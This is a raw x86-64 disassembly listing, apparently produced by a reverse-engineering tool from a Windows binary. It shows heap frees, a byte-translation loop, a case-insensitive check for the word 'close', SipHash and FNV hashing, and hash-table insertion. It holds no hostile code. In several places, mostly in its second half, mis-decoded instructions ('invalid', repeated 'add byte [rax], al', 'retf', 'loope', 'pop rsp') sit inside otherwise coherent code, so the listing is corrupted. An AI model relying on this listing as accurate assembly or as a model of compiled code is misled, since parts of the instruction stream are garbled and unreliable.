test rax, rax
jne 0x1400832a4
test rdx, rdx
je 0x14008275e
mov qword [rsp + 0x1450], rdx
cmp dword [rdi + 0x70], 1
jne 0x14007eec6
mov qword [rdi + 0x70], 2
mov rcx, r12
mov rdx, rdi
mov r8, r13
call fcn.140090c50
mov rax, qword [rsp + 0x7d0]
cmp rax, 2
je 0x14007ef90
test rax, rax
je 0x14007ef90
mov rax, qword [rsp + 0x7d8]
test rax, rax
je 0x14007ef19
mov rdx, qword [rsp + 0x7e0]
mov r8, qword [rsp + 0x7e8]
lea rcx, [rsp + 0x7f0]
call qword [rax + 0x10]
jmp 0x14007ef90
mov rbx, qword [rsp + 0x7e0]
mov eax, ebx
and eax, 3
cmp eax, 1
jne 0x14007ef90
mov r14, qword [rbx - 1]
mov rsi, qword [rbx + 7]
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14007ef5c
cmp qword [rsi + 0x10], 0x11
jb 0x14007ef4a
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
dec rbx
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea r14, [rsp + 0x1450]
lea rsi, [rsp + 0x2d0]
nop word cs:[rax + rax]
mov rax, qword [rdi + 0x70]
test rax, rax
je 0x14007efad
cmp eax, 3
je 0x14007efad
mov qword [rdi + 0x70], 4
mov byte [rdi + 0xd2], 2
mov rcx, r14
call fcn.140035fe0
mov rcx, rsi
call fcn.140085690
jmp 0x14007eded
cmp dword [rbp], 2
je 0x140082f50
mov rcx, rbp
mov rdx, r13
call fcn.14008d570
test al, al
je 0x140082f50
movss xmm12, dword [rdi + 0xc9]
movaps xmmword [rsp + 0x780], xmm12
movzx eax, byte [rsp + 0x781]
mov byte [rsp + 0x6e], al
movzx eax, byte [rdi + 0xcd]
mov byte [rsp + 0x6f], al
movzx eax, byte [rdi + 0xce]
mov byte [rsp + 0x3f], al
movzx eax, byte [rdi + 0xd0]
mov byte [rsp + 0x50], al
nop
mov rax, qword [rsp + 0x5e8]
mov qword [rsp + 0x5f0], rax
mov rax, qword [rsp + 0x5e0]
mov qword [rsp + 0x5f8], rax
movss dword [rsp + 0x600], xmm12
movzx eax, byte [rsp + 0x6f]
mov byte [rsp + 0x604], al
movzx eax, byte [rsp + 0x3f]
mov byte [rsp + 0x605], al
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x606], al
mov rbp, qword [rdi + 0x160]
test rbp, rbp
je 0x140082000
mov qword [rsp + 0x300], 2
mov qword [rsp + 0x320], 0
mov rax, qword [rsp + 0x348]
mov r15, qword [rax]
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 0x64
xor r8d, r8d
jmp 0x14007f0cc
movzx edx, byte [r15 + r8]
cmp edx, 0xa
je 0x14007f0c0
mov r15, qword [rbx]
mov r13, qword [rbx + 8]
mov rax, r15
sub rax, r13
ja 0x140085021
mov rdx, qword [rsp + 0x190]
cmp r13, rdx
ja 0x140085012
mov r14, r13
sub r14, r15
je 0x14008222f
mov rsi, qword [rsp + 0x188]
cmp r14, 0x40
ja 0x14007f76f
cmp rax, 0xfffffffffffffffc
jbe 0x14007f7b3
xor r8d, r8d
lea r10, [0x14013f240]
jmp 0x14007f827
cmp r14, 0x10000
jae 0x14008222f
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r14
call fcn.1400dfbe0
test rax, rax
je 0x14008513e
mov rcx, r14
mov rbp, rbx
shr rcx, 0xa
je 0x14007f925
bsr rcx, rcx
xor rcx, 0x3f
jmp 0x14007f92a
mov eax, r14d
and eax, 0x7c
lea rcx, [rsi + r15]
add rcx, 3
xor edx, edx
lea r10, [0x14013f240]
nop word [rax + rax]
movzx r8d, byte [rcx + rdx - 3]
movzx r8d, byte [r8 + r10]
mov byte [rsp + rdx + 0x7d0], r8b
movzx r8d, byte [rcx + rdx - 2]
movzx r8d, byte [r8 + r10]
mov byte [rsp + rdx + 0x7d1], r8b
movzx r8d, byte [rcx + rdx - 1]
movzx r8d, byte [r8 + r10]
mov byte [rsp + rdx + 0x7d2], r8b
lea r8, [rdx + 4]
movzx r9d, byte [rcx + rdx]
movzx r9d, byte [r9 + r10]
mov byte [rsp + rdx + 0x7d3], r9b
mov rdx, r8
cmp rax, r8
jne 0x14007f7d0
mov eax, r14d
and eax, 3
je 0x14007f866
lea rcx, [rsp + r8]
add rcx, 0x7d0
add r15, r8
add rsi, r15
xor edx, edx
nop word cs:[rax + rax]
movzx r8d, byte [rsi + rdx]
movzx r8d, byte [r8 + r10]
mov byte [rcx + rdx], r8b
inc rdx
cmp rax, rdx
jne 0x14007f850
mov rcx, r12
mov rdx, r14
call fcn.14002e800
cmp al, 0x51
jne 0x14007f8f9
cmp r14, 0xf
ja 0x14007f9e5
xor eax, eax
nop word cs:[rax + rax]
cmp byte [rsp + rax + 0x7d0], 0
je 0x14008222f
inc rax
cmp r14, rax
jne 0x14007f890
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r14
call fcn.1400dfbe0
test rax, rax
je 0x14008513e
mov rcx, rax
mov rsi, rax
mov rdx, r12
mov r8, r14
call fcn.140106250
mov rdx, rsi
mov r8, rsi
or r8, 1
test dl, 1
cmovne r8, rsi
lea rcx, [0x140129120]
lea rax, [0x140129108]
cmove rcx, rax
jmp 0x14007fae9
movzx eax, al
mov rdx, qword [rsp + 0x648]
and rdx, 0xffffffffffffff00
or rdx, rax
xor ecx, ecx
mov r8, qword [rsp + 0x658]
mov r14, qword [rsp + 0x650]
jmp 0x14007fae9
mov ecx, 0x40
shl rcx, 2
mov edx, 0x101
sub rdx, rcx
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], r14
mov qword [rsp + 0x88], rdx
xor ecx, ecx
nop word cs:[rax + rax]
movzx edx, byte [rsi + r15]
lea r8, [0x14013f240]
movzx ebx, byte [rdx + r8]
test bl, bl
je 0x1400821cd
cmp r14, rcx
jne 0x14007f99f
mov edx, 1
lea rcx, [rsp + 0x70]
call fcn.140012910
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
mov r14, qword [rsp + 0x80]
mov byte [rax + rcx], bl
inc rcx
mov qword [rsp + 0xe0], rcx
cmp rcx, r14
ja 0x140084d4d
mov qword [rsp + 0x78], rcx
inc r15
cmp r13, r15
jne 0x14007f960
mov rdx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x88]
test sil, 1
jne 0x14007f9fa
lea rax, [0x14014ef30]
mov r8, rsi
jmp 0x14007fae0
cmp qword [rsp + 0x670], r12
jne 0x14007fa37
lea rcx, [r14 - 0x10]
xor eax, eax
jmp 0x140081500
mov r14, qword [rsp + 0x80]
shr rsi, 5
sub rdx, rsi
lea rbx, [rsi + rcx]
cmp rcx, r14
jne 0x14007fa6f
test rbx, rbx
je 0x14007faaf
mov r8, rdx
test dl, 1
jne 0x14007fac2
or r8, 1
lea rax, [0x140129108]
jmp 0x14007fac9
mov rcx, qword [rsp + 0x668]
cmp rcx, r14
mov rax, r14
cmovb rax, rcx
xor ecx, ecx
nop dword [rax + rax]
cmp byte [rsp + rcx + 0x7d0], 0
je 0x14008222f
inc rcx
cmp rax, rcx
jne 0x14007fa50
lea rcx, [r14 - 0x10]
jmp 0x140081537
mov r15, rdx
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400852f0
mov r8, rax
add r14, rsi
mov rdx, r15
mov qword [rax], r15
mov qword [rax + 8], r14
mov qword [rax + 0x10], 1
lea rax, [0x140113bb0]
jmp 0x14007fac9
mov edx, 1
xor r8d, r8d
xor ebx, ebx
lea rax, [0x140113ac0]
jmp 0x14007fac9
lea rax, [0x140129120]
mov qword [rsp + 0x140], rsi
mov rcx, rbx
sub rcx, rsi
jb 0x14008549f
add rdx, rsi
mov r14, rcx
mov rcx, rax
mov rbx, rbp
mov qword [rsp + 0x350], rcx
mov qword [rsp + 0x358], rdx
mov qword [rsp + 0x650], r14
mov qword [rsp + 0x360], r14
mov qword [rsp + 0x658], r8
mov qword [rsp + 0x368], r8
mov r14, qword [rbx + 0x10]
mov rax, qword [rbx + 0x18]
mov r9, qword [rsp + 0x190]
mov qword [rsp + 0xe0], r9
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x4b0], rax
cmp r14, rax
ja 0x140085033
cmp r9, rax
jb 0x140085112
cmp rax, r14
mov qword [rsp + 0x648], rdx
mov qword [rsp + 0x7c8], rcx
jne 0x14007fb83
mov r14d, 1
mov eax, edx
xor r15d, r15d
xor ebp, ebp
lea r13, [0x14012ad68]
test rcx, rcx
je 0x14007fbe1
jmp 0x14007fc47
mov rax, qword [rsp + 0x180]
mov r8, qword [rsp + 0x188]
mov rcx, r12
lea rdx, [rsp + 0x198]
call qword [rax]
mov r13, qword [rsp + 0x7d0]
test r13, r13
je 0x140085256
mov rbp, qword [rsp + 0x4b0]
mov r15, qword [rsp + 0x7e8]
sub rbp, r14
add r14, qword [rsp + 0x7d8]
mov rcx, qword [rsp + 0x350]
movzx eax, byte [rsp + 0x358]
test rcx, rcx
jne 0x14007fc47
cmp al, 0x14
jne 0x14007fc47
test byte [rsp + 0xa4], 1
jne 0x14007fc14
mov rcx, r14
mov rdx, rbp
call fcn.1400378a0
mov dword [rsp + 0xa4], eax
mov rsi, qword [rsp + 0x270]
cmp rsi, 3
jne 0x14007fc59
jmp 0x140080cec
xor eax, eax
nop word cs:[rax + rax]
cmp rbp, rax
je 0x14007ffda
movzx ecx, byte [r14 + rax]
inc rax
cmp cl, 9
je 0x14007fc20
add cl, 0xe0
cmp cl, 0x5f
jb 0x14007fc20
mov al, 1
mov dword [rsp + 0xa4], eax
mov rsi, qword [rsp + 0x270]
cmp rsi, 3
je 0x140080cec
mov rax, rbx
mov rbx, qword [rbx]
mov qword [rsp + 0x98], rax
mov rax, qword [rax + 8]
mov r9, qword [rsp + 0x190]
mov qword [rsp + 0x140], r9
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x4b0], rax
cmp rbx, rax
ja 0x140085033
cmp r9, rax
jb 0x140085262
cmp rax, rbx
mov qword [rsp + 0x640], r14
mov qword [rsp + 0x2f8], r15
jne 0x14007fcd8
mov qword [rsp + 0xe8], 1
lea rax, [rsp + 0xf0]
movups xmmword [rax], xmm8
lea rax, [0x14012ad68]
mov qword [rsp + 0xe0], rax
jmp 0x14007fd42
mov rax, qword [rsp + 0x180]
mov r8, qword [rsp + 0x188]
mov rcx, r12
lea rdx, [rsp + 0x198]
call qword [rax]
mov rax, qword [rsp + 0x4b0]
sub rax, rbx
mov qword [rsp + 0x7e0], rax
add qword [rsp + 0x7d8], rbx
movdqu xmm0, xmmword [rsp + 0x7d0]
movdqa xmmword [rsp + 0xe0], xmm0
mov rax, qword [rsp + 0x7e0]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0x7e8]
mov qword [rsp + 0xf8], rax
mov r15, qword [rsp + 0x298]
mov r14, qword [rsp + 0x2c0]
cmp esi, 1
mov qword [rsp + 0x330], r13
mov qword [rsp + 0x328], rbp
jne 0x14007fdb5
test r15, r15
js 0x1400800f7
xorps xmm0, xmm0
cvtsi2ss xmm0, r15
test r14, r14
jns 0x14008011b
mov rax, r14
shr rax, 1
mov ecx, r14d
and ecx, 1
or rcx, rax
cvtsi2ss xmm1, rcx
addss xmm1, xmm1
divss xmm0, xmm1
ucomiss xmm0, xmm11
jb 0x14008012e
mov qword [rsp + 0x270], 0
jmp 0x14007fdd0
mov rax, r14
shr rax, 2
mov rcx, r14
sub rcx, rax
cmp r15, rcx
jne 0x14007fdeb
test r15, r15
je 0x14008045d
add r14, r14
lea rcx, [rsp + 0x270]
mov rdx, r14
call fcn.14003ae50
test al, al
jne 0x14008535e
mov rcx, qword [rsp + 0x270]
cmp rcx, 2
mov qword [rsp + 0x628], rcx
jne 0x14007ff3f
mov r8, qword [rsp + 0x278]
mov r10, qword [rsp + 0x280]
mov r9, r8
movabs rax, 0x736f6d6570736575
xor r9, rax
mov rax, r10
movabs rcx, 0x646f72616e646f6d
xor rax, rcx
mov rdx, r8
movabs rcx, 0x6c7967656e657261
xor rdx, rcx
mov rcx, r10
movabs r11, 0x7465646279746573
xor rcx, r11
mov qword [rsp + 0x7d0], r9
mov qword [rsp + 0x7d8], rdx
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], rcx
mov qword [rsp + 0x7f0], r8
mov qword [rsp + 0x7f8], r10
mov r11, qword [rsp + 0x350]
xor r8d, r8d
test r11, r11
setne r8b
xor rcx, r8
add rdx, rcx
rol rcx, 0x10
lea r10, [rsp + 0x808]
movups xmmword [r10], xmm8
add r9, rax
rol rax, 0xd
xor rax, r9
rol r9, 0x20
xor rcx, rdx
add r9, rcx
xor r8, r9
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
rol rcx, 0x15
xor rcx, r9
mov qword [rsp + 0x800], 8
mov qword [rsp + 0x7e8], rcx
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7d8], rdx
mov qword [rsp + 0x7d0], r8
movups xmmword [rsp + 0x808], xmm8
mov rsi, r11
test r11, r11
je 0x140080303
mov rdx, qword [rsp + 0x358]
mov r8, qword [rsp + 0x360]
lea rcx, [rsp + 0x7d0]
mov qword [rsp + 0xb0], rdx
jmp 0x140080331
mov r10, qword [rsp + 0x350]
xor r11d, r11d
test r10, r10
setne r11b
movabs rax, 0xcbf29ce484222325
xor r11, rax
movabs rax, 0x1efac7090aef4a21
imul r11, rax
test r10, r10
movabs r9, 0x100000001b3
je 0x14008043e
mov rax, qword [rsp + 0x358]
mov qword [rsp + 0xb0], rax
mov r8, qword [rsp + 0x360]
test r8, r8
je 0x1400805b7
mov rcx, r8
and rcx, 7
je 0x140080525
mov rax, qword [rsp + 0xb0]
nop word cs:[rax + rax]
movzx edx, byte [rax]
inc rax
xor rdx, r11
imul rdx, r9
mov r11, rdx
dec rcx
jne 0x14007ffc0
jmp 0x140080530
mov qword [rsp + 0x7d0], 0
mov qword [rsp + 0x7d8], rbp
mov qword [rsp + 0x7e0], r14
mov qword [rsp + 0x7e8], rbp
mov qword [rsp + 0x7f0], 0
mov qword [rsp + 0x7f8], rbp
movabs rax, 0x2c0000002c
mov qword [rsp + 0x800], rax
mov byte [rsp + 0x808], 1
mov word [rsp + 0x810], 1
nop word cs:[rax + rax]
mov rcx, r12
call fcn.140037a40
test rax, rax
je 0x14007fc3e
mov rcx, rax
call fcn.140037d70
cmp rdx, 5
jne 0x140080040
movzx ecx, byte [rax]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x63
jne 0x140080040
movzx ecx, byte [rax + 1]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x6c
jne 0x140080040
movzx ecx, byte [rax + 2]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x6f
jne 0x140080040
movzx ecx, byte [rax + 3]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x73
jne 0x140080040
movzx eax, byte [rax + 4]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x65
jne 0x140080040
mov dword [rsp + 0xa4], 0
mov rsi, qword [rsp + 0x270]
cmp rsi, 3
jne 0x14007fc59
jmp 0x140080cec
mov rax, r15
shr rax, 1
mov ecx, r15d
and ecx, 1
or rcx, rax
xorps xmm0, xmm0
cvtsi2ss xmm0, rcx
addss xmm0, xmm0
test r14, r14
js 0x14007fd81
cvtsi2ss xmm1, r14
divss xmm0, xmm1
ucomiss xmm0, xmm11
jae 0x14007fda7
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xa0], 0
jne 0x140080150
call fcn.140002270
mov qword [rsp + 0x270], 2
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movdqu xmm0, xmmword [rax + 0xa8]
inc qword [rax + 0xa8]
movdqu xmmword [rsp + 0x278], xmm0
mov rsi, qword [rsp + 0x2b8]
test r14, r14
je 0x1400801ef
lea rcx, [r14 - 1]
movabs rax, 0x3fffffffffffffff
and rcx, rax
mov rax, rsi
cmp rcx, 7
jb 0x1400801d9
inc rcx
mov rdx, rcx
and rdx, 0xfffffffffffffff8
lea rax, [rsi + rdx*4]
xor r8d, r8d
nop
movups xmmword [rsi + r8*4], xmm9
movups xmmword [rsi + r8*4 + 0x10], xmm9
add r8, 8
cmp rdx, r8
jne 0x1400801c0
cmp rcx, rdx
je 0x1400801ef
lea rcx, [rsi + r14*4]
nop dword [rax]
mov dword [rax], 0xffff
add rax, 4
cmp rax, rcx
jne 0x1400801e0
test r15, r15
je 0x14007fdeb
mov rbx, qword [rsp + 0x290]
lea rax, [r15 + r15*2]
shl rax, 5
add rax, rbx
mov qword [rsp + 0x40], rax
movzx eax, word [rsp + 0x2c8]
movzx r12d, ax
xor r13d, r13d
jmp 0x140080244
mov word [rsi + rcx*4], bp
mov word [rsi + rcx*4 + 2], ax
cmp rbx, qword [rsp + 0x40]
je 0x14007fdeb
mov rbp, r13
mov r15, rbx
add rbx, 0x60
inc r13
lea rdx, [r15 + 0x38]
lea rcx, [rsp + 0x270]
call fcn.1400385d0
mov r8d, eax
and r8d, r12d
mov word [r15 + 0x58], ax
xor edx, edx
nop
mov rcx, r8
mov r8d, 0
cmp rcx, r14
jae 0x140080270
cmp word [rsi + rcx*4], 0xffff
je 0x140080230
movzx r8d, word [rsi + rcx*4 + 2]
and r8d, r12d
mov r9d, ecx
sub r9d, r8d
mov r8d, r12d
and r8d, r9d
cmp r8, rdx
jb 0x1400802d0
inc rdx
inc rcx
mov r8, rcx
jmp 0x140080270
movzx r8d, word [rsi + rdx*4 + 2]
mov word [rsi + rdx*4], bp
mov word [rsi + rdx*4 + 2], ax
inc rdx
mov eax, r8d
mov ebp, ecx
mov rcx, rdx
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
retf 0xb9
mov rdx, rcx
mov ecx, 0
cmp rdx, r14
jae 0x1400802d0
movzx ecx, word [rsi + rdx*4]
cmp cx, 0xffff
jne 0x1400802aa
mov word [rsi + rdx*4], bp
mov rcx, rdx
mov word [rsi + rcx*4 + 2], ax
cmp rbx, qword [rsp + 0x40]
jne 0x140080244
jmp 0x14007fdeb
movzx eax, byte [rsp + 0x358]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x1a0], rax
mov r8d, 8
lea rcx, [rsp + 0x7d0]
lea rdx, [rsp + 0x1a0]
call fcn.1400071b0
mov rax, qword [rsp + 0x7e0]
mov r9, qword [rsp + 0x800]
shl r9, 0x38
or r9, qword [rsp + 0x808]
mov rcx, qword [rsp + 0x7e8]
mov word [rax + rbp*8], fs
invalid
add byte [rax], al
mov r8, qword [rsp + 0x7d0]
mov eax, dword [rsp + 0x7d0]
mov word [rax + rbp*8], fs
invalid
mov eax, dword [rsp + 0x7d0]
add r8, rax
rol rax, 0xd
xor rcx, r9
xor rax, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x7d8]
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rcx, r8
xor rax, rdx
rol rdx, 0x20
xor r8, r9
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
add rdx, rcx
shl rcx, 0x10
xor rcx, rdx
shr rcx, 0x2b
add rdx, rax
shr rax, 0x2f
xor rax, rcx
mov r11, rdx
shr r11, 0x20
xor r11, rdx
xor r11, rax
mov r10, rsi
jmp 0x1400805b7
movzx ecx, byte [rsp + 0x358]
mov qword [rsp + 0xb0], rcx
xor r11, rcx
imul r11, rax
xor r10d, r10d
jmp 0x1400805b7
mov word [rsp + 0x2c8], 7
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140085568
mov rbx, rax
movups xmmword [rax], xmm9
movups xmmword [rax + 0x10], xmm9
test r14, r14
je 0x1400804ab
mov r8, qword [rsp + 0x2b8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x2b8], rbx
mov qword [rsp + 0x2c0], 8
movzx eax, byte [0x140182310]
mov edx, 0x240
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140085577
mov rbx, rax
cmp qword [rsp + 0x288], 0
je 0x140080500
mov r8, qword [rsp + 0x290]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x288], 6
mov qword [rsp + 0x290], rbx
mov qword [rsp + 0x298], 0
jmp 0x14007fdeb
mov rdx, r11
mov rax, qword [rsp + 0xb0]
cmp r8, 8
jb 0x1400805b4
mov rcx, qword [rsp + 0xb0]
add rcx, r8
nop word cs:[rax + rax]
movzx r8d, byte [rax]
xor r8, rdx
imul r8, r9
movzx edx, byte [rax + 1]
xor rdx, r8
imul rdx, r9
movzx r8d, byte [rax + 2]
xor r8, rdx
imul r8, r9
movzx edx, byte [rax + 3]
xor rdx, r8
imul rdx, r9
movzx r8d, byte [rax + 4]
xor r8, rdx
imul r8, r9
movzx edx, byte [rax + 5]
xor rdx, r8
imul rdx, r9
movzx r8d, byte [rax + 6]
xor r8, rdx
imul r8, r9
movzx edx, byte [rax + 7]
add rax, 8
xor rdx, r8
imul rdx, r9
cmp rax, rcx
jne 0x140080550
mov r11, rdx
and r11d, 0x7fff
movzx r12d, word [rsp + 0x2c8]
mov r14d, r11d
and r14d, r12d
mov rbp, qword [rsp + 0x2c0]
mov rbx, qword [rsp + 0x2b8]
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x298]
mov rax, qword [rsp + 0x358]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0xa8], rax
xor r13d, r13d
mov qword [rsp + 0xb8], r11
mov qword [rsp + 0x138], rdx
mov qword [rsp + 0x370], r10
jmp 0x140080646
mov rcx, qword [rsp + 0xb0]
cmp byte [rax + 8], cl
je 0x140080725
inc r13
inc r14
mov rax, r14
nop dword [rax]
mov r14, rax
mov eax, 0
cmp r14, rbp
jae 0x140080650
movzx r15d, word [rbx + r14*4]
cmp r15, 0xffff
je 0x14008080a
movzx eax, word [rbx + r14*4 + 2]
mov ecx, r12d
and ecx, eax
mov r8d, r14d
sub r8d, ecx
and r8d, r12d
cmp r8, r13
jb 0x140080885
cmp ax, r11w
jne 0x140080640
cmp rdx, r15
jbe 0x140084cde
test r10, r10
sete r9b
lea rsi, [r15 + r15*2]
mov eax, esi
shl eax, 5
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx + rax + 0x38]
test rcx, rcx
setne r8b
cmp r8b, r9b
je 0x140080640
mov r8, qword [rsp + 0x40]
add rax, r8
add rax, 0x38
test rcx, rcx
je 0x14008062f
mov rcx, qword [rsp + 0xa8]
cmp qword [rax + 0x10], rcx
jne 0x140080640
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x130]
mov r8, qword [rsp + 0xa8]
call fcn.1401068d0
mov rdx, qword [rsp + 0x138]
mov r11, qword [rsp + 0xb8]
add byte [rax], al
add byte [rax], al
mov r10, qword [rsp + 0x370]
test eax, eax
jne 0x140080640
shl esi, 5
mov rax, qword [rsp + 0x40]
lea r14, [rax + rsi]
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x7e0], xmm1
movaps xmmword [rsp + 0x7d0], xmm0
cmp qword [rax + rsi], 0
je 0x14008145f
mov rbx, qword [r14 + 0x10]
mov rsi, qword [rsp + 0x2b0]
cmp rsi, qword [rsp + 0x2a0]
mov r13, qword [rsp + 0x330]
mov rbp, qword [rsp + 0x328]
jne 0x14008078f
lea rcx, [rsp + 0x2a0]
call fcn.14003b180
mov rax, qword [rsp + 0x2a8]
mov rcx, rsi
shl rcx, 6
loope 0x1400807a4
loope 0x1400807a4
mov qword [rax + rcx], 1
add byte [rax], al
add byte [rax - 0x77], cl
pop rsp
or byte [rax], cl
add byte [rax], al
mov qword [rax + rcx + 8], rbx
mov qword [rax + rcx + 0x10], 0
mov qword [rax + rcx + 0x18], r15
movdqa xmm0, xmmword [rsp + 0x7d0]
movdqa xmm1, xmmword [rsp + 0x7e0]
movdqu xmmword [rax + rcx + 0x20], xmm0
movdqu xmmword [rax + rcx + 0x30], xmm1
lea rdx, [rsi + 1]
mov qword [rsp + 0x2b0], rdx
cmp rbx, rdx
jae 0x140084d3e
shl rbx, 6
mov qword [rax + rbx + 0x10], 1
mov qword [rax + rbx + 0x18], rsi
mov qword [r14], 1
jmp 0x1400814ed
test r10, r10
je 0x14008090f
lea rcx, [rsp + 0x7d0]
lea rdx, [rsp + 0x368]
mov r8, qword [rsp + 0x130]
mov r9, qword [rsp + 0xa8]
call qword [r10]
mov rdx, qword [rsp + 0x138]
mov r11, qword [rsp + 0xb8]
mov rbx, qword [rsp + 0x7d0]
movzx ecx, byte [rsp + 0x7d8]
lea rax, [rsp + 0x808]
movdqu xmm0, xmmword [rax - 0x2f]
movdqa xmmword [rsp + 0x1a0], xmm0
mov rax, qword [rax - 0x20]
mov qword [rsp + 0x1af], rax
mov r15, qword [rsp + 0x2f8]
jmp 0x140080921
cmp r13, 0x200
setae r15b
cmp dword [rsp + 0x628], 2
setne r12b
test r10, r10
je 0x140080ac6
lea rcx, [rsp + 0x7d0]
lea rdx, [rsp + 0x368]
mov r8, qword [rsp + 0x130]
mov r9, qword [rsp + 0xa8]
call qword [r10]
mov rdx, qword [rsp + 0x138]
mov r11, qword [rsp + 0xb8]
mov r13, qword [rsp + 0x7d0]
movzx ecx, byte [rsp + 0x7d8]
lea rax, [rsp + 0x808]
movdqu xmm0, xmmword [rax - 0x2f]
movdqa xmmword [rsp + 0x1a0], xmm0
mov rax, qword [rax - 0x20]
mov qword [rsp + 0x1af], rax
jmp 0x140080ad1
xor ebx, ebx
mov r15, qword [rsp + 0x2f8]
mov rcx, qword [rsp + 0x130]
mov qword [rsp + 0x70], rbx
mov byte [rsp + 0x78], cl
mov rax, qword [rsp + 0x1af]
lea rcx, [rsp + 0x80]
mov qword [rcx + 8], rax
movaps xmm0, xmmword [rsp + 0x1a0]
movups xmmword [rcx - 7], xmm0
movdqa xmm0, xmmword [rsp + 0xe0]
movdqa xmm1, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0x4c0], xmm1
movdqa xmmword [rsp + 0x4b0], xmm0
cmp rdx, 0x7fff
ja 0x14008530b
mov r10, rdx
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x1b0], xmm0
mov qword [rsp + 0x1a0], rax
mov byte [rsp + 0x1a8], cl
mov dword [rsp + 0x1a9], edx
mov word [rsp + 0x1ad], r8w
mov byte [rsp + 0x1af], r9b
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x7d0], xmm0
movaps xmmword [rsp + 0x7e0], xmm1
cmp r10, qword [rsp + 0x288]
mov rcx, r10
jne 0x140080a2e
lea rcx, [rsp + 0x288]
call fcn.14002ca60
mov rcx, qword [rsp + 0x138]
mov r11, qword [rsp + 0xb8]
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x40], rax
mov rbp, qword [rsp + 0x2c0]
lea rax, [rcx + rcx*2]
shl rax, 5
mov rdx, qword [rsp + 0x40]
mov qword [rdx + rax], 0
movaps xmm0, xmmword [rsp + 0x7d0]
movaps xmm1, xmmword [rsp + 0x7e0]
movups xmmword [rdx + rax + 0x18], xmm0
movups xmmword [rdx + rax + 0x28], xmm1
movdqa xmm0, xmmword [rsp + 0x1a0]
movdqa xmm1, xmmword [rsp + 0x1b0]
movdqu xmmword [rdx + rax + 0x38], xmm0
movdqu xmmword [rdx + rax + 0x48], xmm1
mov word [rdx + rax + 0x58], r11w
lea rax, [rcx + 1]
mov qword [rsp + 0x298], rax
cmp r14, rbp
mov rbx, qword [rsp + 0x98]
jae 0x140084cff
mov rax, qword [rsp + 0x2b8]
mov word [rax + r14*4], cx
mov word [rax + r14*4 + 2], r11w
mov r13, qword [rsp + 0x330]
mov rbp, qword [rsp + 0x328]
jmp 0x140080ce4
xor r13d, r13d
mov rcx, qword [rsp + 0x130]
mov qword [rsp + 0x70], r13
mov byte [rsp + 0x78], cl
mov rax, qword [rsp + 0x1af]
lea rcx, [rsp + 0x80]
